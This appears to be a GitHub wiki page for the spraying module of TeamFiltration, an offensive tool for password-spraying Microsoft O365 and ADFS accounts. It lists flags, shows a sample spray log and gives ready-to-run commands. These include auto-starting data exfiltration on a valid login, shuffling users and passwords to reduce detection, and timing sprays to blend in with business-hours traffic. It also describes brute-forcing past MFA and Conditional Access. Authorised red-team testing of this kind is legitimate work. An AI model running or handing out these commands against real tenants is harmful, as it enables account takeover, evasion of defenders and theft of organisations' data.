-
Notifications
You must be signed in to change notification settings - Fork 152
Spraying
TeamFiltration's spray module provides password spraying capabilities for Microsoft O365 tenants (both non-gov and gov), as well as ADFS.
--spray Load the spraying module
--aad-sso Use SecureWorks's Azure Active Directory password brute-forcing technique when spraying
--us-cloud When spraying companies attached to US Tenants (https://login.microsoftonline.us/)
--time-window Defines a time window where spraying should occur, in the military time format <12:00-19:00>
--passwords Path to a list of passwords, common weak-passwords will be generated if not supplied
--seasons-only Password generated for spraying will only be based on seasons
--months-only Password generated for spraying will only be based on months
--common-only Spray with the top 20 most common passwords
--combo Path to a combolist of username:password
--exclude Path to a list of emails to exclude from spraying
--shuffle-passwords Shuffle the password list before spraying
--shuffle-users Shuffle the target user list before spraying
--auto-exfil Automatically start the exfil module if a valid login is found
--sleep-min Minimum minutes to sleep between each full rotation of spraying default=60
--sleep-max Maximum minutes to sleep between each full rotation of spraying default=100
--jitter Seconds between each individual authentication attempt. default=0
--push Get Pushover notifications when valid credentials are found (requires pushover keys in config)
--push-locked Get Pushover notifications when a sprayed account gets locked (requires pushover keys in config)
--force Force the spraying to proceed even if there is less than <sleep> time since the last attempt
By default, TeamFiltration will pull and target the validated emails from the local database for password spraying. If no password list is provided using the --passwords argument, a series of commonly used passwords based on the Month, Season, and year will be automatically generated. You can also choose to generate either of them specifically using --seasons-only, --months-only, or --common-only.
[♥] TeamFiltration VX.X.X PUBLIC, created by @Flangvik at @TrustedSec
[+] Args parsed --outpath F:\Dev\skywalker --config F:\Dev\config.txt --spray
[SPRAY] 23.01.2023 06:55:24 EST Sleeping between 60-100 minutes for each round
[SPRAY] 23.01.2023 06:55:30 EST Sprayed fennec.shand@legitcorp.net:January2023 => INVALID
[SPRAY] 23.01.2023 06:55:30 EST Sprayed kylo.ren@legitcorp.net:January2023 => INVALID
[SPRAY] 23.01.2023 06:55:30 EST Sprayed luke.skywalker@legitcorp.net:January2023 => INVALID
[SPRAY] 23.01.2023 06:55:31 EST Sprayed anakin.skywalker@legitcorp.net:January2023 => INVALID
[SPRAY] 23.01.2023 06:55:31 EST Sprayed han.solo@legitcorp.net:January2023 => INVALID
[SPRAY] 23.01.2023 06:55:31 EST Sprayed john.cannon@legitcorp.net:January2023 => INVALID
When a valid set of credentials is found, TeamFiltration will store the access token in the database upon successful login. The account will also be excluded from all future spraying attempts.
This access token, together with the accompanying refresh token, is used when performing the exfiltration of data through the exfiltration module. This allows TeamFiltration to avoid creating unnecessary interactive logins when moving into the post-exploitation phase.
If a valid set of credentials is found but the login attempt was blocked due to MFA or other restrictions enforced by Conditional Access, TeamFiltration will store the valid credentials in the database. When targeted in the exfiltration module, it will identify a gap in the policy(s) by brute-forcing a series of login combinations using unique combinations of Resource URI, ClientId, and Device.
Using --auto-exfil will automatically trigger the exfiltration module as soon as a valid credential is found, without requiring manual intervention:
TeamFiltration.exe --outpath C:\Clients\Example\TFOutput --config myConfig.json --spray --auto-exfil --all
To reduce detection patterns, the order of users and passwords can be randomised:
TeamFiltration.exe --outpath C:\Clients\Example\TFOutput --config myConfig.json --spray --shuffle-users --shuffle-passwords
If you have a username:password combo list, you can provide it directly instead of a separate password list:
TeamFiltration.exe --outpath C:\Clients\Example\TFOutput --config myConfig.json --spray --combo C:\combo.txt
To restrict spraying to specific hours (e.g. business hours only, to blend in with normal traffic):
TeamFiltration.exe --outpath C:\Clients\Example\TFOutput --config myConfig.json --spray --time-window 08:00-18:00